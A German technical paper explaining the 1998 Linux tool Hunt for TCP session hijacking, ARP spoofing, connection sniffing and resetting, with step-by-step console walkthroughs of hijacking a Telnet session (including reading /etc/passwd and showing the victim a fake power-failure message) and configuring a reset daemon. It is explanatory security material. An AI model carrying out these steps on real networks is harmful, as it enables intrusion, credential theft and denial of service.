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1 Wasist Hunt?

1.1 Allgemeines

Hunt[1] ist ein Netzwerk-Tool mittelsdessenmanEthernet-basierteTCP/IP-Ver-
bindungenüberwachen,in sie einbrechenund sie zurücksetzenkann. Es bie-
tet dazueinige Funktionen,die älterebekannteTools diesesGenres,wie zum
Beispiel Juggernaut[2], nicht bieten. Mit Hunt ist es beispielsweisemöglich,
auchauf Rechnerin einemanderenEthernet-Segmentoderauf Rechnerin einer
geswitchtenUmgebungzuzugreifen.Ein bemerkenswertesMerkmalvonHunt ist
außerdem,daßVerbindungennachdemHijacking nicht zwingendzurückgesetzt
werdenmüssen,sondernwiedermit dem“wahren”Client synchronisiertwerden
können. Die Packet Enginevon Hunt erlaubtaußerdemdie Analyseund Mani-
pulationvonUDP-,ICMP- undARP-Verkehr. Huntunterscheidetnichtzwischen
lokalenVerbindungenundVerbindungenüberdasInternet.Esarbeitetmit allen
Verbindungen,diees“sieht”.

1.2 Leistungsmerkmalevon Hunt
� VerwaltungvonVerbindungen

– Festlegungder“interessanten”Verbindungen1möglich

– ErkennenvonausgehendenVerbindungen(auchohneSYNStart, siehe
Nr. 2.3)

– MitlesenvonVerbindungen

– AktivesHijackingmit ErkennungvonACK Storms(sieheNr. 2.4.1)

– ARP Spoofed/NormalHijacking mit Erkennungeineserfolgreichen
ARPSpoofs(sieheNr. 2.4.3)

– Resynchronisierungder Verbindungmit dem “wahren” Client nach
dem Hijacking, so daßdie Verbindungnicht zurückgesetztwerden
muß(sieheNr. 2.5)

– ZurücksetzenvonVerbindungen(Resetting, sieheNr. 2.6)

� Dämonen2

– ResetDaemonzur automatischenZurücksetzungallerVerbindungen
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– ARPSpoof/RelayerDaemonfür dasARPSpoofingvon Rechnernmit
derMöglichkeit, allePaketedesgespooftenRechnersweiterzuleiten

– MAC DiscoveryDaemonzumSammelnvonMAC-Adressen

– Sniff DaemonzumMitschreibenvon Verbindungenmit derMöglich-
keit, nachbestimmtenZeichenkettenzusuchen

� Weiteres

– ErweiterbarePacket Enginezur Überwachungvon TCP, UDP, ICMP
undARPPaketen

– Erkennung,welcheRechnererreichbarsind

– Rechnerin einer geswitchten Umgebung könnenebenfalls gespooft
sowie ihreVerbindungenmitgelesenundgehijackt werden

1.3 DasDesignvon Hunt

Hunt basiertauf einer Packet Engine, welche in einemeigenenThread3 läuft
undPaketeausdemNetzwerkfiltert. Die Packet EnginesammeltInformationen
überTCP-Verbindungen,ihren Auf- und Abbau,Sequenznummernund MAC-
Adressen. Die gesammeltenInformationenstehenverschiedenenModulenzur
Verfügung,sodaßdiesenichtselbständigdenNetzverkehranalysierenmüssen.

Module könnenFunktionenbei der Packet Engine“anmelden”,so daßdie-
seautomatischaufgerufenwerden,wennein neuesPaket empfangenwird. Eine
bestimmteFunktioneinesModulsentscheidet,obdasPaket für dasModul “inter-
essant”ist odernicht undfügt dasPaket dannggf. einermodulspezifischenListe
vonPaketenhinzu. DasModul holt sichdanndie PaketeausderListe undverar-
beitetsie. Auf dieseWeiselassensichsehreinfachneueModuleentwickeln,die
unterschiedlichsteOperationenauf denPaketdatenausführen.

1Quell- undZiel-Adressensowie -PortspotentiellerVerbindungen,überdie für denAngreifer
interessanteDatenübermitteltwerdenkönnten.

2Als DämonenbezeichnetmanProzesse,welchenicht anein Kontrollterminalundi. A. auch
nichtaneinenBenutzergebundensind.Siearbeitenim Hintergrund, erledigenVerwaltungsaufga-
benundstellenDienstleistungenzurVerfügung.Die DämonenvonHuntsindallerdingslediglich
Programmteile,die in seperatenThreadslaufen.

3Ein Threadist eineinzelnersequentiellerKontrollflußinnerhalbeinesProgramms.
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EinebeiderPacketEngineangemeldeteFunktionkannaußerdemsehrschnell
(d. h. ohnegrößereVerzögerungen)Paketeauf dasNetzsenden,wenndiesnötig
ist (z. B. für ARPSpoofing).

Pakete,dieals“Antwort” auf dasNetzgesendetwerden,sindin festenStruk-
turenbeschrieben.Diesesindbereitsmit dendurchdieVerbindungvorgegebenen
Wertengefüllt unddie BerechnungderChecksummengeschiehtebenfalls auto-
matisch.Zur Zeit existierendazuFunktionenfür TCP-,ICMP- undARP-Verkehr.
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2 TechnischeErläuterungen

Um dieFunktionsweisevonHuntverstehenzukönnen,werdenim folgendenzu-
nächsteinigetechnischeDetailserläutert. Dabeiwird insbesondereberücksich-
tigt, wie dieseBegriffe in Huntverwendetwerden.

Einige der folgendenErläuterungenbeziehensich auf diese beispielhafte
Rechneranordnung:
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2.1 IP Spoofing

WenneinRechner4 in von ihm versandteDatenpaketeeinefalscheIP-Adresseals
Absendereinträgt,sobezeichnetmandiesalsIP Spoofing. DurchdiesesVerhalten
bleibteinemempfangendenRechnerdiewirkliche IdentitätdesAbsendersaufIP-
Ebeneunddarüberverborgen.

Zum BeispielkönnteRechnerC in Abb. 1 in einemIP-Paket als Absender-
adresse10.0.0.2angeben,umanderenRechnernim Netzvorzutäuschen,daßnicht
erdasPaketsendet,sondernRechnerB. WennbestimmteBerechtigungennur für
denRechnermit derIP-Adresse10.0.0.2freigegebenwären,könntederAngreifer

4Wir gehenhier immerdavon aus,daßein Rechneran ein IP-Netzauf Ethernet-Basisange-
schlossenist.
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soversuchen,dieseBerechtigungenfür sichzunutzen.

2.2 ARP5 Spoofing

AllgemeinesZiel desARPSpoofingsist es,durchVerwendungeinerfremdenoder
einerunbenutztenMAC-Adresse6 die IdentitätdesbenutztenRechnerszuverber-
genbzw. eineandereIdentitätvorzutäuschen.Dieswird in Hunt je nachEinsatz-
zweckaufzweiverschiedenenWegenerreicht.

2.2.1 HerkömmlichesARP Spoofing

Üblicherweiseverstehtman unter ARP Spoofingdas Eintrageneiner falschen
MAC-Absenderadressein ein Datenpaket. Dies ist also dem IP Spoofingsehr
ähnlich,unterscheidetsichaberdadurch,daßdieFälschungnichtauf IP- sondern
auf MAC-Ebenestattfindet.Wird diesmit IP Spoofingkombiniert,so kannein
empfangenderRechnernichtmehraufdieIdentitätdesAbsendersschließen,weil
dazudannjeglicherAnhaltspunktfehlt.

2.2.2 SpeziellesARP Spoofingin Hunt

Als ARPSpoofingbezeichnetderAutor von Hunt eineweitereVorgehensweise,
mit der einembestimmtenRechnereinefalscheZuordnungvon IP- und MAC-
Adressen“aufgezwungen”werdenkann.

Dabei ist entscheidend,daß ein Rechnernach dem Empfang einesARP-
Request-Paketesdiesesdaraufhinüberprüft,ob die ausdiesemPaket ersichtli-
cheZuordnungvon IP- undMAC-AdressedesAbsendersmit denDatenin sei-
nem ARP-Cacheübereinstimmt. Ist dies nicht der Fall, dannübernimmtder
empfangendeRechnerautomatischdie ZuordnungausdemARP-Request-Paket
(vgl. [3]).

Beispiel:RechnerA in Abb.1 hatin seinemARP-CachefolgendeZuordnung
gespeichert:

IP 10.0.0.2 x MAC 22:22:22:22:22:22

5ARP = AddressResolutionProtocol;damit kanndie zu einerIP-AdressegehörendeMAC-
Adressein einemEthernetermitteltwerden.

6MAC-AdressensindHardware-AdressenvonEthernet-Adaptern.DieseAdressenidentifizie-
ren- zumindesttheoretisch- eindeutigjedenEthernetadapterweltweit (vgl. [5]).
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Dasheißt,alle Datenpakete,die RechnerA anRechnerB (IP-Adresse10.0.0.2)
sendenwill, schickter andieo. g. MAC-Adresse.

Der Angreifer (RechnerC) sendetnun ein ARP-Request-Paket an Rechner
A, mit demer nachderMAC-Adressezu einerbeliebigenIP-Adressefragt. Als
Absenderträgter in seinARP-Request-Paket aberdie IP-AdressevonRechnerB
undeinefalscheMAC-Adresseein:7

ABSENDER-IP : 10.0.0.2
ABSENDER-MAC:55:55:55:55:55:55

Wie bereitsoben erläutert, hat dies in fast allen Implementierungendes IP-
Protokollstackszur Folge, daßRechnerA die richtige Zuordnungvon IP- zu
MAC-Adresseaus seinemCachelöschen,und stattdessendie oben gezeigte,
falscheZuordnungausdenAbsenderadressenim ARP-Request-Paket überneh-
menwird.8Von diesemZeitpunktanwird RechnerA alsoalle Daten,die eigent-
lich für RechnerB bestimmtsind,an die falscheMAC-Adresseschicken; diese
PaketewerdenvonRechnerB deshalbnichtempfangen.

Damit einzigderARP-Cachevon RechnerA gefälschtwird, sendetderAn-
greiferdasARP-Request-Paket übrigensnicht - wie üblich - alsBroadcast,son-
derngezieltanRechnerA.

2.3 TransmissionControl Protocol (TCP)

Zum weiteren Verständnisist die Kenntnis einiger Eigenschaftendes TCP-
Protokolls erforderlich,diehierkurzundvereinfacht dargestelltwerden.[4]

TCP-Verbindungensindverläßliche,bi-direktionalepaket-orientierteVerbin-
dungenzwischenzwei Rechnern.JederVerbindungsaufbaubeginnt mit einem
Segment,in demdasSYN-Bit (Synchronizesequencenumbers)gesetztist. Um
Datenverlustebei der Übertragungauszuschließen,zählt jederRechnerdie von
ihm bereitsgesendetenBytesmit undträgtdieseAnzahl(evtl. zzgl. derAnfangs-
Sequenznummer, dieaberi. d.R.0 ist) alssog.Sequenznummerin seineDatenpa-
keteein. Als EmpfangsbestätigungsendetderEmpfängerein sog. ACK-Paket9,
in demerdieNummerdesnächstenerwartetenByteseinträgt.

7Sinnvoll wärehier die MAC-AdressedesAngreifersselbstodereineim lokalenNetzunbe-
nutzteAdresse.

8Die einzigebekannteAusnahmeist derIP-StackvonSunSolarisVersion2.5,dahierEinträge
im ARPCacheerstnacheinerbestimmtenZeit, z. B. 20Minuten,verfallen.

9ACK ist dieAbkürzungfür Acknowledge-NachrichtenbeiTCP-Verbindungen(Acknowledge
(engl.)= Bestätigung).
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Geht auf dem Übertragungsweg ein Paket verloren,so fällt dasdurch die-
sesVerfahrenunmittelbarauf,daerwarteteundgesendeteSequenznummernicht
übereinstimmen.In diesemFall sendetder Empfängerein ACK-Paket an den
Sender, in demeralsSequenznummerdieNummerdeserstenBytesin demverlo-
rengegangenenPaketeinträgt.Dadurchwird derSenderzumerneutenÜbertragen
desfehlendenPaketesveranlaßt.

2.4 “Entführ en” von TCP-Verbindungen(Hijacking)

Hierbeigehtesdarum,eigenePaketein einebestehendeTCP-Verbindungeinzu-
schleusen.Bei einerTelnet-Verbindungkönntemansoz.B. BefehlezumLöschen
vonDatenin denDatenstromeinfügen.

2.4.1 Einfacher aktiver Angriff

DieseAngriffsart ist schonseit längererZeit bekannt.10 Dabeifügt der Angrei-
fer ein odermehrereDatenpaketein einebestehendeVerbindungzwischenzwei
Rechnernein.

Dazu muß der Angreifer in seinenPaketenals Absender- und Empfänger-
adressendie IP- undMAC-AdressenderanderVerbindungbeteiligtenRechner
eintragen. Ausserdemmußder Angreifer vorherdie TCP-Verbindungüberwa-
chen,damiter seinePaketemit denkorrektenSequenznummernversehenkann.
AnsonstenwürdenseinePaketevon denbeidenanderenRechnernals ungültig
erkannt.

Als Effekt diesesAngriffs wird die Verbindungdesynchronisiertund estritt
dersog. ACK Storm(sieheNr. 2.4.2)auf, derauchdie einzigeMöglichkeit zum
ErkenneneinessolchenAngriffs darstellt. Ungünstigerweisekannmanso nur
Angriffe erkennen,die bereitserfolgreichwaren.EineVorwarnungist alsonicht
möglich.

2.4.2 ACK Storm

Fügtein Angreiferbeim“einfachenaktivenAngriff ” ein odermehrerePaketein
denTCP-Datenstromein, sowerdendie Sequenznummernbei demempfangen-
denRechnerwie obenerläuterthochgezählt.Da dieseÄnderungder Sequenz-
nummernnur aufdiesemeinenRechnergeschieht,ist dieVerbindungdesynchro-
nisiert.

10DieserAngriff wurdeerstmalsdurchdasTool Juggernaut[1] bekannt.
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BeimnächstenübertragenenPaketfällt dieseinemderbeidenRechneraufund
dieserwird deshalbseineGegenstellemit einemACK-Paket daraufhinweisen.
Allerdings stimmt die SequenznummerdiesesACK-Paketesselbstauchnicht,
weshalbderandereRechnerwiederumeinACK-Paketsendenwird, umebenfalls
daraufhinzuweisen.

Bei denmeistenIP-Stackssteigertsich diesdannzum sog. ACK Storm, bei
dem immer mehr ACK-Pakete hin und her gesendetwerden.11 DieserEffekt
nimmt erstab, wenndurchÜberlastungdesNetzesPaketeverlorengehen.Ein
ACK Stormführt deshalbletztlichzumZusammenbruchderTCP-Verbindung.

2.4.3 Akti ver Angriff mit ARP Spoofing

Um denACK Stormzuvermeiden,bestehtdieMöglichkeit, vor demeigentlichen
Angriff einARPSpoofingnachNr. 2.2.2durchzuführen.DurchdieseManipulati-
onderZuordnungvon IP- undMAC-Adressekönnensichdie anderVerbindung
beteiligtenRechnernicht mehrmiteinanderverständigen,da sie ihre Paketean
falscheMAC-Adressensenden.DeshalbkanndasgegenseitigeAufschaukelndes
ACK Stormsnichteintreten.

2.5 Verbindungsresynchronisation

Diesist einederbesonderenMöglichkeitenvonHunt.
Hat derAngreiferbei einemaktivenAngriff mit ARPSpoofingdie gewünsch-

ten Befehlebzw. Datenpakete in denDatenstromeingefügt,so kannHunt an-
schließendversuchen,die Verbindungwiedermit dem“wahren”Client zu syn-
chronisieren. Im Fall einer Telnet-Verbindungsendeter dazu an den Client-
Rechnerdie Nachricht, daßder Benutzereine bestimmteAnzahl von Tasten-
drückenausführensoll. DurchdiegeschickteBerechnungdieserAnzahlstimmen
dieSequenznummernauf Server undClient anschließendwiederübereinunddie
Verbindungist somitwiedersynchronisiert.

2.6 Zurücksetzenvon TCP-Verbindungen

Um einebestehendeVerbindungzwischenzwei Rechnernunmittelbarzu been-
den,genügtes,aneinendieserRechnereineinzigesPaketzusenden,dasfolgende
Kriterienerfüllt (vgl. [4]):

11EineAusnahmeist z. B. derIP-StackvonLinux KernelVersion2.0.
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� Die AbsenderadresseentsprichtdemanderenanderVerbindungbeteiligten
Rechner.

� DasReset-Flag(RST)im TCP-Headerist gesetzt.

� Im Paket ist die richtigeSequenznummergesetzt,damitdasPaket nichtals
ungültigerkanntwird.

Prinzipiell genügtes,wenn ein solchesPaket an einender beteiligtenRechner
gesandtwird.

2.7 Mitlesen von Verbindungen(Sniffing/Watching)

SniffingbezeichnetallgemeindasMitlesenbzw. AufzeichnenvonDaten,diewäh-
rendeinerVerbindungübertragenwerden.DieseDatenkönnendannnachbelie-
bigenKriterienausgewertetwerden.Denkbarwärez. B. die gezielteSuchenach
übertragenenPaßwörtern.

Als spezielleForm desSniffing unterstütztHunt dassog. Watching. Dabei
werdendie empfangenenDatensofort am Bildschirmangezeigt.Dadurchkann
man z. B. unbemerktmitlesen,welcheBefehle,Paßworte etc. währendeiner
Telnet-Sitzungeingegebenwerden. Mit Hunt ist es möglich, eine Verbindung
zuerstlediglich mitzulesen,um siedannzu einemgünstigenZeitpunktnachNr.
2.4.1oderNr. 2.4.3anzugreifen.

2.8 Umleiten von Daten in einemEthernet-Switch

Ein Ethernet-Switchsorgt dafür, daßPaketenur in die Netzsegmenteübertragen
werden,in denendieZielrechnerzu findensind.DurchARPSpoofingkannHunt
eine fremdeMAC-Adressevortäuschenund so einenSwitch dazuveranlassen,
daßerPakete,dieeigentlichfür einenRechnerin einemanderenNetzsegmentbe-
stimmtsind,andenRechnerumleitet,aufdemHunt läuft. DurchdieseFähigkeit
kannHunt auchin geswitchtenUmgebungenVerbindungenbeobachtenundggf.
angreifen.

Es ist möglich,einenSwitchsozu konfigurieren,daßdiesunterbundenwird
bzw. einenAlarm auslöst;solcheKonfigurationensindjedochnur sehrseltenzu
finden.
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3 Beispiele

Zur besserenLesbarkeit sinddie folgendenBeispielewie folgt formatiert:

� Ein- undAusgabenaufdemRechnerdesAngreifersstehenlinksbündig.

� Ein- und Ausgabenauf dem anzugreifendenClient-Rechnersind einge-
rückt.

� Benutzereingabensindfett gedruckt.

3.1 Hijacking

Esfolgt nuneinBeispielfür einenHijacking-Angriff mit ARPSpoofing(vgl. Nr.
2.4.3).DaessichbeiHuntumeineKonsolenanwendung12 handelt,ist dieDarstel-
lung nicht sehrübersichtlich.Aus diesemGrundwerdenhier nur die relevanten
AusgabenvonHuntgezeigt.

Im folgenden Beispiel versucht der Angreifer, eine bestehendeTelnet-
Verbindungzu übernehmenund eigeneBefehleeinzufügen,um die Verbindung
anschließendwieder zu resychronisierenund an den angegriffenen Rechner
zurückzugeben.

Der Angreifer startetHunt auf seinemRechnerund bekommt dasHauptmenü
angezeigt.

angreifer:˜# hunt
/*
* hunt 1.3
* multipurpose connection intruder / sniffer for Linux
* (c) 1998 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 64/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*>

12Konsolenanwendungenwerdenim Gegensatzzu GUI-Anwendungen(GUI = GraphicalUser
Interface)nicht in einemgraphischenFenster, sondernin einemTextfensterausgeführt.
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Der BenutzerdesClient-Rechnersbaut eine Telnet-Verbindungzum
Serverauf.

client:˜$ telnet server.domain.net
Trying 10.0.0.1...
Connected to server.domain.net.
Escape character is ’ˆ]’.

Linux 2.0.36 (server.domain.net)

server login: testuser
Password: <testpasswort>
Welcome to server.domain.net
Last login: Mon Jun 07 14:23:17 on :0 from console
No mail.
Tue Jun 08 09:14:03 MEST 1999
server:˜$

Der Angreifer läßt sich die aktuell bestehendenTelnet-Verbindungenvon Hunt
anzeigen. Zur Zeit bestehtnur die geradevom Client-Rechneraufgebaute
Verbindung.

-> l
0) 10.0.0.2 [16545] --> 10.0.0.1 [23]

Der Angreifer wählt nun den Befehl zur Durchführungdes aktiven Angriffs
mit ARP Spoofingaus. Hunt zeigt daraufhinwieder die Liste der aktuellen
Verbindungenan,damitdieanzugreifendeVerbindungdarausausgewähltwerden
kann.

-> a
0) 10.0.0.2 [16545] --> 10.0.0.1 [23]

choose conn> 0

Jetzt fragt Hunt die Details zu dem geplantenAngriff der Reihe nach ab.
Zunächstwird festgelegt, ob und wenn ja, mit welcher MAC-Adressebei
Client undServer ein ARPSpoofingdurchgeführtwerdensoll. Hunt schlägtda-
zuzweiunbenutzteMAC-Adressenvor, dieeinfachübernommenwerdenkönnen.

arp spoof src in dst y/n [y]> y
src MAC [EA:1A:DE:AD:BE:01]> [Enter]
arp spoof dst in src y/n [y]> y
dst MAC [EA:1A:DE:AD:BE:02]> [Enter]
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Nun wird festgelegt, ob nur die vom Client, nur die vom Server oder die von
beidenRechnernübertragenenDatenangezeigtwerdensollenundobClient-und
Server-Daten durch verschiedenfarbige Buchstabenunterscheidbardargestellt
werdensollen. Esfolgt derHinweis,daßdie TCP-Verbindungdurchdie Tasten-
kombinationCtrl-C übernommenwerdenkann.

dump connection y/n [y]> y
dump [s]rc/[d]st/[b]oth [b]> b
print src/dst same characters </n [n]> n

Ctrl-C to break

DerClient-BenutzerläßtsichgeradeeinVerzeichnisauflisten.

client:˜$ ls -l
total 58
drwxr-xr-x 2 root root 1024 Mar 20 00:43 privat
drwx------ 2 root root 1024 Mar 19 20:03 secret
drwxr-xr-x 2 root root 1024 Mar 30 18:57 work
$

HuntzeigtdieseDatenaufdemBildschirmdesAngreifersan.

ls -l

total 58
drwxr-xr-x 2 root root 1024 Mar 20 00:43 privat
drwx------ 2 root root 1024 Mar 19 20:03 secret
drwxr-xr-x 2 root root 1024 Mar 30 18:57 work
$

Der Angreifer versuchtnun, die Verbindungzu übernehmen,indem er die
TastenkombinationCtrl-C eingibt.

[Ctrl-C]

-- press any key> [Enter]
you took over the connection
CTRL-] to break

Die Verbindung wurde erfolgreich übernommen. Jetzt kann der Angreifer
beliebigeBefehleeingeben,die auf dem Server so ausgeführtwerden,als ob
sie vom Client-Benutzerstammten. Die Ausgabender Befehle werdendem
Angreiferebenfallsangezeigt.
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cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
man:x:6:100:man:/var/catman:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/spool/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
list:x:38:38:SmartList:/var/list:/bin/sh
alias:x:70:65534:qmail alias:/var/qmail/alias:/bin/sh
nobody:x:65534:65534:nobody:/home:/bin/sh
$

WährenddiesesAngriffs siehtesfür denClient-Benutzersoaus,alsob die Ver-
bindung,z. B. wegenNetzproblemen,“tot” sei. Alle Tastatureingaben,die er
macht,werdenihm selbstnichtangezeigt;derAngreiferkannsiejedochsehen.

DerAngreifermöchtedenAngriff nunbeenden,undversucht,dieVerbindung
wiederandenClient zurückzugeben.

Ctrl-]
[r]eset connection/[s]ynchronize/[n]one [r]> s
user have to type 16 chars and print 1357 chars to synchronize connection
CTRL-C to break

Auf demClient-Rechnerwird nun folgenderText angezeigt,der dem
Benutzervortäuschensoll, daß die Verbindungwegen technischer
Problemegestört war und sie durch Eingebeneiner Anzahl von
Buchstabenwiederreaktiviert werdenkann.

msg from root: power failure - try to type 16 chars

qwertzuiopqwertz
power failure detected
... power resumed, ok

Der Client-Benutzerkann mit der Verbindungnun normal weiterar-
beitenunddemAngreiferwird die erfolgreicheResynchronisationder
Verbindungbestätigt.

done

DerAngriff ist damitbeendet.
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3.2 AutomatischesZurücksetzenvon Verbindungen

Mit Hilfe desResetDaemonskann man automatischbestimmteVerbindungen
zurücksetzen.Im KonfigurationsmenüdesDämonsläßt sich einstellen,welche
Verbindungenbeendetwerdensollen. Dabeikönnendie Quell- undZielrechner
(bzw. kompletteTeilnetze)sowie die Quell- und Ziel-Portsangegebenwerden.
Weiterhinkonfigurierbarist,obnurVerbindungenbeendetwerdensollen,dienach
dem Start desDämonsneu aufgebautwerdenoder ob auchbereitsbestehende
Verbindungenzurückgesetztwerdensollen(SYNflag on/off).

Nachdemdie gewünschtenVerbindungsparameterin der Konfigurationein-
getragenund der Dämongestartetwurde,beendeter im folgendenautomatisch
alleVerbindungen,dieer“sieht” unddieaufdieeingestelltenParameter“passen”.

Ein BenutzerdesRechners“client” mit der IP-Adresse10.0.0.2kann
sichproblemlosauf demRechner“server” mit derIP-Adresse10.0.0.1
pertelneteinloggen.

client:˜$ telnet server.domain.net
Trying 10.0.0.1...
Connected to server.domain.net.
Escape character is ’ˆ]’.
Password: <passwort>
Linux server 2.0.36 #1 Wed Mar 24 11:26:45 CET 1999 i686 unknown

Last login: Fri May 28 14:56:24 on ttyp1 from client.domain.net.
No mail.
server:˜$

Der AngreiferstartetnunHunt auf demRechner“angreifer” mit der IP-Adresse
10.0.0.8.

angreifer:˜# ./hunt
/*
* hunt 1.3
* multipurpose connection intruder / sniffer for Linux
* (c) 1998 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 64/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
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Er wähltdasMenü“Daemons”.

-> d
--- daemons --- rcvpkt 734, free/alloc 63/64 ------
r) reset daemon
a) arp spoof + arp relayer daemon
s) sniff daemon
m) mac discovery daemon
x) return

Danachwählter den“resetdaemon”.

-dm> r
--- reset daemon --- rcvpkt 923, free/alloc 63/64 ------
s/k) start/stop daemon
l) list reset database
a/m/d) add/mod/del entry
x) return

Nunfügt ermit “addentry” einenEintraghinzu.

-rstd> a
src ip addr/mask ports [0.0.0.0/0]> 10.0.0.2
dst ip addr/mask ports [0.0.0.0/0]> 0.0.0.0/0 telnet
mode [s]rc/[d]st/[b]oth [b]> [Enter]
reset only syn y/n [y]> [Enter]
insert at [0]> [Enter]
--- reset daemon --- rcvpkt 1700, free/alloc 63/64 ------
s/k) start/stop daemon
l) list reset database
a/m/d) add/mod/del entry
x) return

Mittels “list reset database”kann er sich nun nocheinmaldie Liste der zu
beendendenVerbindungenansehen.Der ersteundin diesemFall einzigeEintrag
besagt,daßalle (0.0.0.0/0)Telnet-Verbindungen(Port23), die von Rechner“cli-
ent” (10.0.0.2/0)ausgehen,beendetwerdensollen.Dabeisoll dieVerbindungauf
beidenSeitenzurückgesetztwerden(“both”). EssollenjedochnurVerbindungen
zurückgesetztwerden,dienachdemStartendesResetDämonsaufgebautwerden
(“SYN only”).

17



-rstd> l
0) 10.0.0.2/0 [all] --> 0.0.0.0/0 [23] rst both SYN only
--- reset daemon --- rcvpkt 1963, free/alloc 63/64 ------
s/k) start/stop daemon
l) list reset database
a/m/d) add/mod/del entry
x) return

Als nächstesstartetderAngreiferdenResetDämon.

*rstd> s
rst daemon started
--- reset daemon --- rcvpkt 14432, free/alloc 63/64 ---R---
s/k) start/stop daemon
l) list reset database
a/m/d) add/mod/del entry
x) return
*rstd>

Wennnunein BenutzerdesRechners“client” versucht,sichper telnet
auf dem Rechner“server” einzuloggen,wird die Verbindungsofort
durchdenvomAngreifergestartetenResetDämonbeendet.

client:˜$ telnet server.domain.net
Trying 10.0.0.1...
Connected to server.domain.net.
Escape character is ’ˆ]’.
Connection closed by foreign host.
client:˜$

Währendder ResetDämonauf demRechnerdesAngreifersläuft, ist esal-
so keinemBenutzerdesRechners“client” mehrmöglich, sich auf irgendeinem
anderenRechnerpertelneteinzuloggen.
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